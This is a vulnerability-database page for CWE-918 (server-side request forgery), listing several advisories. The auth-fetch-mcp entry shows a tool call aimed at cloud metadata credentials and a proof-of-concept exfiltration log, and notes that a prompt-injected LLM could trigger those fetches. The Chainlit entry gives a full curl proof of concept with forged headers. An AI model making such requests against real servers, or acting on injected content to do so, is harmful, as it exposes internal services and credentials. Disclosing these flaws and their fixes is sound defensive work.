CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6217 vulnerabilities reference this CWE, most recent first.
GHSA-HRRX-P8R8-GJ4G
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2023-03-01 18:31GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable to an SSRF vulnerability in webhooks.
{
"affected": [],
"aliases": [
"CVE-2018-19571"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-10T17:15:00Z",
"severity": "HIGH"
},
"details": "GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable to an SSRF vulnerability in webhooks.",
"id": "GHSA-hrrx-p8r8-gj4g",
"modified": "2023-03-01T18:31:02Z",
"published": "2022-05-24T16:49:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19571"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/53242"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160516/GitLab-11.4.7-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160699/GitLab-11.4.7-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HV3Q-723P-3RJQ
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36A Server-Side Request Forgery issue was discovered in Belden Hirschmann GECKO Lite Managed switch, Version 2.0.00 and prior versions. The web server receives a request, but does not sufficiently verify that the request is being sent to the expected destination.
{
"affected": [],
"aliases": [
"CVE-2017-6036"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-30T03:29:00Z",
"severity": "MODERATE"
},
"details": "A Server-Side Request Forgery issue was discovered in Belden Hirschmann GECKO Lite Managed switch, Version 2.0.00 and prior versions. The web server receives a request, but does not sufficiently verify that the request is being sent to the expected destination.",
"id": "GHSA-hv3q-723p-3rjq",
"modified": "2022-05-13T01:36:35Z",
"published": "2022-05-13T01:36:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6036"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-026-02A"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HV4C-3WCW-PXH2
Vulnerability from github – Published: 2026-08-19 09:31 – Updated: 2026-08-19 09:31AIL Framework contains a server-side request forgery (SSRF) vulnerability in its crawler submission functionality. A low-privileged authenticated user with access to the crawler interface can submit an arbitrary URL for crawling without adequate validation of the destination host.
The crawler can therefore be instructed to make direct HTTP(S) requests to addresses that should not be reachable by application users, including loopback addresses, RFC1918 private networks, link-local addresses, and cloud metadata services such as 169.254.169.254.
Manual crawler tasks bypass the existing domain blacklist because they are assigned a non-zero priority, and ordinary IP literals are classified as web targets and fetched directly rather than through Tor or another proxy. Consequently, an attacker can use the AIL server as a network pivot to access services available from the server's network context.
Responses generated by these requests, including captured HTML, screenshots, and HAR data, can subsequently be accessed through the crawler interface. This makes the SSRF non-blind and may allow an attacker to disclose sensitive internal application data, service information, or cloud instance metadata and credentials.
The patch introduces validation that resolves crawler destinations and rejects URLs resolving to non-global IP addresses, addressing localhost, private-network, and link-local targets.
{
"affected": [],
"aliases": [
"CVE-2026-76164"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T09:17:36Z",
"severity": "HIGH"
},
"details": "AIL Framework contains a server-side request forgery (SSRF) vulnerability in its crawler submission functionality. A low-privileged authenticated user with access to the crawler interface can submit an arbitrary URL for crawling without adequate validation of the destination host.\n\n\nThe crawler can therefore be instructed to make direct HTTP(S) requests to addresses that should not be reachable by application users, including loopback addresses, RFC1918 private networks, link-local addresses, and cloud metadata services such as 169.254.169.254.\n\n\nManual crawler tasks bypass the existing domain blacklist because they are assigned a non-zero priority, and ordinary IP literals are classified as web targets and fetched directly rather than through Tor or another proxy. Consequently, an attacker can use the AIL server as a network pivot to access services available from the server\u0027s network context.\n\n\nResponses generated by these requests, including captured HTML, screenshots, and HAR data, can subsequently be accessed through the crawler interface. This makes the SSRF non-blind and may allow an attacker to disclose sensitive internal application data, service information, or cloud instance metadata and credentials.\n\n\nThe patch introduces validation that resolves crawler destinations and rejects URLs resolving to non-global IP addresses, addressing localhost, private-network, and link-local targets.",
"id": "GHSA-hv4c-3wcw-pxh2",
"modified": "2026-08-19T09:31:24Z",
"published": "2026-08-19T09:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76164"
},
{
"type": "WEB",
"url": "https://github.com/ail-project/ail-framework/commit/d7b60ff9e20ee493895430b1a7c63d498a8fd780"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HV85-774V-26FG
Vulnerability from github – Published: 2026-05-19 15:47 – Updated: 2026-05-19 15:47SSRF + disk-exfil in download_media and auth_fetch tools — ymw0407/auth-fetch-mcp
Severity
The download_media and auth_fetch MCP tools accept arbitrary URLs and reach them as the MCP server process, with download_media additionally persisting the fetched response body to a user-controlled output directory. An MCP client (LLM under prompt injection, malicious peer) can drive the server to fetch loopback / link-local / private-range hosts (cloud-instance metadata, internal services, host-bound services) and exfiltrate the response.
Vulnerability chain
Site 1: download_media — SSRF + disk-write chain
src/tools.ts:200-274
server.registerTool("download_media", {
inputSchema: {
urls: z.array(z.string()).describe("One or more URLs to download"),
output_dir: z.string().optional()...,
},
}, async ({ urls, output_dir }) => {
...
for (const url of urls) {
try {
const response = await ctx.request.get(url); // line 238 — no validation
...
const body = await response.body();
...
const filePath = path.join(dir, `file-${++counter}${ext}`);
fs.writeFileSync(filePath, body); // line 257 — writes response to disk
urls and output_dir are user-controlled. The handler iterates each URL (line 236) and calls ctx.request.get(url) (Playwright's APIRequestContext.get) without checking the destination. The response body is written to path.join(output_dir, file-N.ext). Internal-service responses are persisted to disk where they can be exfiltrated via any subsequent tool that reads from the output directory (or via the response object itself, which contains localPath and size of every successful write).
Site 2: auth_fetch — SSRF via Playwright navigation
src/tools.ts:117-198
server.registerTool("auth_fetch", {
inputSchema: {
url: z.string().describe("The URL to fetch content from"),
wait_for: z.string().optional()...,
},
}, async ({ url, wait_for }) => {
...
const page = await navigateTo(ctx, url); // line 142
...
const result = await extractContent(page);
return textResult({ status: "ok", url: result.url, title: result.title, content: result.content });
});
src/browser.ts:53-64
export async function navigateTo(ctx: BrowserContext, url: string): Promise<Page> {
...
await page.goto(url, { waitUntil: "domcontentloaded", timeout: 30000 }); // line 63
return page;
}
url flows directly from the MCP tool argument to page.goto with no validation. Playwright will navigate to any URL the network stack can reach. The page DOM is returned in the tool response via extractContent. Internal pages (loopback admin UIs, cloud metadata endpoints reachable from the host, intranet services) are extractable.
Root cause
Neither handler validates URL targets before dispatch. The tool descriptions ("fetches web page content using a real browser ... e.g. Notion, Google Docs, Jira, Confluence, Linear, Slack, or any SaaS/private page") frame the intended usage as public SaaS web pages, not loopback or link-local hosts — but no code enforces that intent.
The fix shape (apply to both tools): after URL parsing, resolve to IP, reject if private/loopback/link-local. Same defense as the well-known SSRF-guard pattern shipped by other MCP fetchers in the ecosystem (e.g., Akitaroh/scraper-mcp src/security/url-guard.ts).
Auth boundary violated
Boundary type: MCP tool-argument boundary plus the local-network trust boundary. The MCP server typically sits inside a trust boundary (developer laptop with loopback services, cloud VM with IMDS, k8s pod with service account). The tools allow the MCP client to dispatch HTTP requests across that boundary.
Respected/violated trace: Per the tool descriptions, the expected respected boundary is "public SaaS web pages." That expectation is violated by any request reaching a host the user didn't intend to expose (127.0.0.1:6379 Redis, 169.254.169.254 cloud metadata, 192.168.0.1 internal admin).
Impact
-
Cloud credential theft — server on EC2 / GCE / Azure VM. MCP client invokes
auth_fetch({ url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>" })and receives temporary credentials in the tool response. Or invokesdownload_media({ urls: [...], output_dir: "/tmp/exfil" })to persist them to disk. -
Internal service enumeration — MCP client probes private-range hosts (10/8, 172.16/12, 192.168/16). Each
auth_fetchreturns the page DOM; eachdownload_mediawrites the response to disk. -
Loopback exploitation — server runs alongside Redis (127.0.0.1:6379), ElasticSearch (127.0.0.1:9200), or internal admin UIs. MCP client reads them via
auth_fetch. -
Disk-write side channel (
download_mediaonly) — output_dir is also user-controlled, with no documented restriction. An MCP client can requestoutput_dir = "/some/user-writable-shared-dir"and exfil internal-service responses to a location accessible to a co-tenant process.
The injection vector is any content reaching the model that prompts a fetch tool call. The tool description explicitly says "MUST be used instead of Fetch/web_fetch when the page requires login" — meaning the model is encouraged to call this tool for any "private page" mention, which a prompt-injected upstream content can trivially trigger.
Proof of concept (non-destructive)
poc.mjs — replicates the download_media handler's HTTP-fetch + file-write chain against a local fake-internal HTTP service. Playwright's ctx.request.get(url) is replaced with the equivalent fetch(url) for the bug case (a URL needing no auth) so the demo runs without browser deps. The structural defect — "no host validation before HTTP dispatch" — is identical.
[PoC] fake internal-only service: 127.0.0.1:36105
[PoC] simulating MCP client calling download_media({
urls: ['http://127.0.0.1:36105/secrets'],
output_dir: '/tmp/auth-fetch-exfil-aU1jjv'
})
[PoC] no IP / host validation exists at tools.ts:236-238 before ctx.request.get(url)
[PoC] ✓ SSRF + DISK-EXFIL CONFIRMED
File written to: /tmp/auth-fetch-exfil-aU1jjv/file-1.json
Persisted content (187 bytes):
{
"AccessKeyId": "AKIA-FAKE-FROM-POC",
"SecretAccessKey": "fake-secret-marker-NOT-REAL",
"Note": "In a real exploit this would be AWS IMDS at 169.254.169.254/latest/meta-data/..."
}
Exit code 0. SHA-256 poc.mjs: 4cea53f1a618581fc67f9a8bd07a7a2b22274f42cdbf7f3c658519673aaf7568. The PoC only contacts 127.0.0.1 on an ephemeral port; the fake-credentials string contains the literal FAKE marker so no downstream system can mistake it for real credentials. The exfil directory is cleaned up after the demo.
Suggested fix
Add a assertSafeUrl helper (same shape as in the matching egoist/fetch-mcp advisory) called before any HTTP dispatch — at tools.ts:236 inside the download_media loop, and at the top of navigateTo in browser.ts:53:
import dns from 'node:dns/promises'
import net from 'node:net'
async function assertSafeUrl(rawUrl: string): Promise<URL> {
const parsed = new URL(rawUrl)
if (!['http:', 'https:'].includes(parsed.protocol)) throw new Error(`Unsupported scheme`)
const host = parsed.hostname
const addresses = net.isIP(host)
? [host]
: (await dns.lookup(host, { all: true })).map(a => a.address)
for (const addr of addresses) {
if (isPrivateOrLinkLocal(addr)) throw new Error(`Refusing to fetch ${addr}`)
}
return parsed
}
Where isPrivateOrLinkLocal blocks 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1, fc00::/7, fe80::/10.
For download_media specifically, also constrain output_dir: resolve it under a fixed root (e.g., ~/.auth-fetch-mcp/downloads/) and reject if the resolved path escapes that root.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.0"
},
"package": {
"ecosystem": "npm",
"name": "auth-fetch-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T15:47:27Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# SSRF + disk-exfil in `download_media` and `auth_fetch` tools \u2014 ymw0407/auth-fetch-mcp\n\n## Severity\nThe `download_media` and `auth_fetch` MCP tools accept arbitrary URLs and reach them as the MCP server process, with `download_media` additionally persisting the fetched response body to a user-controlled output directory. An MCP client (LLM under prompt injection, malicious peer) can drive the server to fetch loopback / link-local / private-range hosts (cloud-instance metadata, internal services, host-bound services) and exfiltrate the response.\n\n## Vulnerability chain\n\n### Site 1: `download_media` \u2014 SSRF + disk-write chain\n\n`src/tools.ts:200-274`\n```ts\nserver.registerTool(\"download_media\", {\n inputSchema: {\n urls: z.array(z.string()).describe(\"One or more URLs to download\"),\n output_dir: z.string().optional()...,\n },\n}, async ({ urls, output_dir }) =\u003e {\n ...\n for (const url of urls) {\n try {\n const response = await ctx.request.get(url); // line 238 \u2014 no validation\n ...\n const body = await response.body();\n ...\n const filePath = path.join(dir, `file-${++counter}${ext}`);\n fs.writeFileSync(filePath, body); // line 257 \u2014 writes response to disk\n```\n\n`urls` and `output_dir` are user-controlled. The handler iterates each URL (line 236) and calls `ctx.request.get(url)` (Playwright\u0027s `APIRequestContext.get`) without checking the destination. The response body is written to `path.join(output_dir, file-N.ext)`. Internal-service responses are persisted to disk where they can be exfiltrated via any subsequent tool that reads from the output directory (or via the response object itself, which contains `localPath` and `size` of every successful write).\n\n### Site 2: `auth_fetch` \u2014 SSRF via Playwright navigation\n\n`src/tools.ts:117-198`\n```ts\nserver.registerTool(\"auth_fetch\", {\n inputSchema: {\n url: z.string().describe(\"The URL to fetch content from\"),\n wait_for: z.string().optional()...,\n },\n}, async ({ url, wait_for }) =\u003e {\n ...\n const page = await navigateTo(ctx, url); // line 142\n ...\n const result = await extractContent(page);\n return textResult({ status: \"ok\", url: result.url, title: result.title, content: result.content });\n});\n```\n\n`src/browser.ts:53-64`\n```ts\nexport async function navigateTo(ctx: BrowserContext, url: string): Promise\u003cPage\u003e {\n ...\n await page.goto(url, { waitUntil: \"domcontentloaded\", timeout: 30000 }); // line 63\n return page;\n}\n```\n\n`url` flows directly from the MCP tool argument to `page.goto` with no validation. Playwright will navigate to any URL the network stack can reach. The page DOM is returned in the tool response via `extractContent`. Internal pages (loopback admin UIs, cloud metadata endpoints reachable from the host, intranet services) are extractable.\n\n## Root cause\nNeither handler validates URL targets before dispatch. The tool descriptions (\"fetches web page content using a real browser ... e.g. Notion, Google Docs, Jira, Confluence, Linear, Slack, or any SaaS/private page\") frame the intended usage as **public SaaS web pages**, not loopback or link-local hosts \u2014 but no code enforces that intent.\n\nThe fix shape (apply to both tools): after URL parsing, resolve to IP, reject if private/loopback/link-local. Same defense as the well-known SSRF-guard pattern shipped by other MCP fetchers in the ecosystem (e.g., `Akitaroh/scraper-mcp` `src/security/url-guard.ts`).\n\n## Auth boundary violated\n**Boundary type:** MCP tool-argument boundary plus the local-network trust boundary. The MCP server typically sits inside a trust boundary (developer laptop with loopback services, cloud VM with IMDS, k8s pod with service account). The tools allow the MCP client to dispatch HTTP requests across that boundary.\n\n**Respected/violated trace:** Per the tool descriptions, the expected respected boundary is \"public SaaS web pages.\" That expectation is violated by any request reaching a host the user didn\u0027t intend to expose (127.0.0.1:6379 Redis, 169.254.169.254 cloud metadata, 192.168.0.1 internal admin).\n\n## Impact\n\n1. **Cloud credential theft** \u2014 server on EC2 / GCE / Azure VM. MCP client invokes `auth_fetch({ url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\" })` and receives temporary credentials in the tool response. Or invokes `download_media({ urls: [...], output_dir: \"/tmp/exfil\" })` to persist them to disk.\n\n2. **Internal service enumeration** \u2014 MCP client probes private-range hosts (10/8, 172.16/12, 192.168/16). Each `auth_fetch` returns the page DOM; each `download_media` writes the response to disk.\n\n3. **Loopback exploitation** \u2014 server runs alongside Redis (127.0.0.1:6379), ElasticSearch (127.0.0.1:9200), or internal admin UIs. MCP client reads them via `auth_fetch`.\n\n4. **Disk-write side channel** (`download_media` only) \u2014 output_dir is also user-controlled, with no documented restriction. An MCP client can request `output_dir = \"/some/user-writable-shared-dir\"` and exfil internal-service responses to a location accessible to a co-tenant process.\n\nThe injection vector is any content reaching the model that prompts a fetch tool call. The tool description explicitly says \"MUST be used instead of Fetch/web_fetch when the page requires login\" \u2014 meaning the model is encouraged to call this tool for any \"private page\" mention, which a prompt-injected upstream content can trivially trigger.\n\n## Proof of concept (non-destructive)\n\n`poc.mjs` \u2014 replicates the `download_media` handler\u0027s HTTP-fetch + file-write chain against a local fake-internal HTTP service. Playwright\u0027s `ctx.request.get(url)` is replaced with the equivalent `fetch(url)` for the bug case (a URL needing no auth) so the demo runs without browser deps. The structural defect \u2014 \"no host validation before HTTP dispatch\" \u2014 is identical.\n\n```\n[PoC] fake internal-only service: 127.0.0.1:36105\n[PoC] simulating MCP client calling download_media({\n urls: [\u0027http://127.0.0.1:36105/secrets\u0027],\n output_dir: \u0027/tmp/auth-fetch-exfil-aU1jjv\u0027\n })\n[PoC] no IP / host validation exists at tools.ts:236-238 before ctx.request.get(url)\n[PoC] \u2713 SSRF + DISK-EXFIL CONFIRMED\n File written to: /tmp/auth-fetch-exfil-aU1jjv/file-1.json\n Persisted content (187 bytes):\n {\n \"AccessKeyId\": \"AKIA-FAKE-FROM-POC\",\n \"SecretAccessKey\": \"fake-secret-marker-NOT-REAL\",\n \"Note\": \"In a real exploit this would be AWS IMDS at 169.254.169.254/latest/meta-data/...\"\n }\n```\n\nExit code `0`. SHA-256 `poc.mjs`: `4cea53f1a618581fc67f9a8bd07a7a2b22274f42cdbf7f3c658519673aaf7568`. The PoC only contacts `127.0.0.1` on an ephemeral port; the fake-credentials string contains the literal `FAKE` marker so no downstream system can mistake it for real credentials. The exfil directory is cleaned up after the demo.\n\n## Suggested fix\n\nAdd a `assertSafeUrl` helper (same shape as in the matching egoist/fetch-mcp advisory) called before any HTTP dispatch \u2014 at `tools.ts:236` inside the download_media loop, and at the top of `navigateTo` in `browser.ts:53`:\n\n```ts\nimport dns from \u0027node:dns/promises\u0027\nimport net from \u0027node:net\u0027\n\nasync function assertSafeUrl(rawUrl: string): Promise\u003cURL\u003e {\n const parsed = new URL(rawUrl)\n if (![\u0027http:\u0027, \u0027https:\u0027].includes(parsed.protocol)) throw new Error(`Unsupported scheme`)\n const host = parsed.hostname\n const addresses = net.isIP(host)\n ? [host]\n : (await dns.lookup(host, { all: true })).map(a =\u003e a.address)\n for (const addr of addresses) {\n if (isPrivateOrLinkLocal(addr)) throw new Error(`Refusing to fetch ${addr}`)\n }\n return parsed\n}\n```\n\nWhere `isPrivateOrLinkLocal` blocks 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1, fc00::/7, fe80::/10.\n\nFor `download_media` specifically, also constrain `output_dir`: resolve it under a fixed root (e.g., `~/.auth-fetch-mcp/downloads/`) and reject if the resolved path escapes that root.",
"id": "GHSA-hv85-774v-26fg",
"modified": "2026-05-19T15:47:27Z",
"published": "2026-05-19T15:47:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ymw0407/auth-fetch-mcp/security/advisories/GHSA-hv85-774v-26fg"
},
{
"type": "PACKAGE",
"url": "https://github.com/ymw0407/auth-fetch-mcp"
},
{
"type": "WEB",
"url": "https://github.com/ymw0407/auth-fetch-mcp/releases/tag/v3.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "auth-fetch-mcp: SSRF and disk exfiltration via unvalidated auth_fetch and download_media URLs"
}
GHSA-HVCP-JVX5-4PMP
Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2023-08-01 23:01A server-side request forgery (SSRF) vulnerability exists in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2. This can be exploited by authenticated user with admin privileges to manipulate shipment settings to execute arbitrary code.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-7923"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-01T23:01:37Z",
"nvd_published_at": "2019-08-02T22:15:00Z",
"severity": "HIGH"
},
"details": "A server-side request forgery (SSRF) vulnerability exists in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2. This can be exploited by authenticated user with admin privileges to manipulate shipment settings to execute arbitrary code.",
"id": "GHSA-hvcp-jvx5-4pmp",
"modified": "2023-08-01T23:01:37Z",
"published": "2022-05-24T16:52:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7923"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/magento/product-community-edition/CVE-2019-7923.yaml"
},
{
"type": "WEB",
"url": "https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20211206084839/https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Magento 2 Community Edition SSRF vulnerability"
}
GHSA-HVFH-5MJ3-5F3J
Vulnerability from github – Published: 2026-08-25 19:21 – Updated: 2026-08-25 19:21Am I affected?
Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.
Summary
When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.
Affected / patched versions
| CVE | CVE-2026-45019 |
| Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) |
| Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) |
| Patched | 2.12.0 (releasing 2026-08-25) |
Details
The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.
The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.
This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).
Vulnerable code: backend/chainlit/server.py — connect_mcp handler
Sink: backend/chainlit/server.py — sse_client / streamablehttp_client
PoC
Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.
- Start a listener to capture the server-side request:
nc -l 4445
- Establish a Socket.IO session and trigger the SSRF:
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
| python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST \
"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
-d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'
curl -s -X POST 'http://TARGET:8000/mcp' \
-H 'Content-Type: application/json' \
-d '{
"sessionId": "ssrf",
"clientType": "streamable-http",
"name": "probe",
"url": "http://127.0.0.1:4445/internal-admin",
"headers": {
"Authorization": "Bearer attacker-controlled-token",
"X-Internal-Secret": "exfiltrated",
"Cookie": "session=hijacked"
}
}'
- The listener captures the server-side request with all attacker-controlled headers:
POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked
Impact
High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.
Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.
Fix
Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:
- User-provided MCP connections now require explicit opt-in via
features.mcp.user_servers.enabled = true, plus a non-emptyallowed_urlsallowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed. - URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with
./..path segments, encoded separators (%2e,%2f,%5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected. - Restricted headers are stripped from user-supplied headers before the request is sent:
Cookie,Host,Forwarded,X-Forwarded-*,X-Real-IP,Via,Proxy-Authorization,X-HTTP-Method-Override,X-Original-URL,X-Rewrite-URL, and hop-by-hop headers.Authorizationis deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained byallowed_urls. - Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and
GET /project/settingsno longer disclosesallowed_urls.
During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:
- HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded
follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist. - Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's
endpointevent, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.
A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.
Workarounds
If you cannot upgrade immediately:
- Set
features.mcp.enabled = falsein.chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018). - Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
- Configure authentication (register an auth callback) so that
/mcprequires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.
Upgrading to 2.12.0
Breaking change. 2.12.0 changes how MCP servers are configured. If
.chainlit/config.tomlstill uses the legacy[features.mcp.sse],[features.mcp.stdio], or[features.mcp.streamable-http]sections, or theallowed_executablessetting, the application will fail to start once MCP is enabled, until you migrate to the new[[features.mcp.servers]]/allowed_urlsconfiguration. See the migration guide inCHANGELOG.mdbefore upgrading. Deployments withfeatures.mcp.enabled = falseare not affected by this startup check.
Residual risk after upgrading
- On deployments with no authentication configured,
/mcpremains reachable anonymously after upgrading, becauseget_current_userreturnsNonewhen no auth callback is registered. Wherefeatures.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on theallowed_urlsallowlist, with anAuthorizationheader of its own choosing. - There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
- Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.
Credits
Vipin vipin@spl.team SPL security@spl.team
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.1"
},
"package": {
"ecosystem": "PyPI",
"name": "chainlit"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0rc0"
},
{
"fixed": "2.12.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45019"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T19:21:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
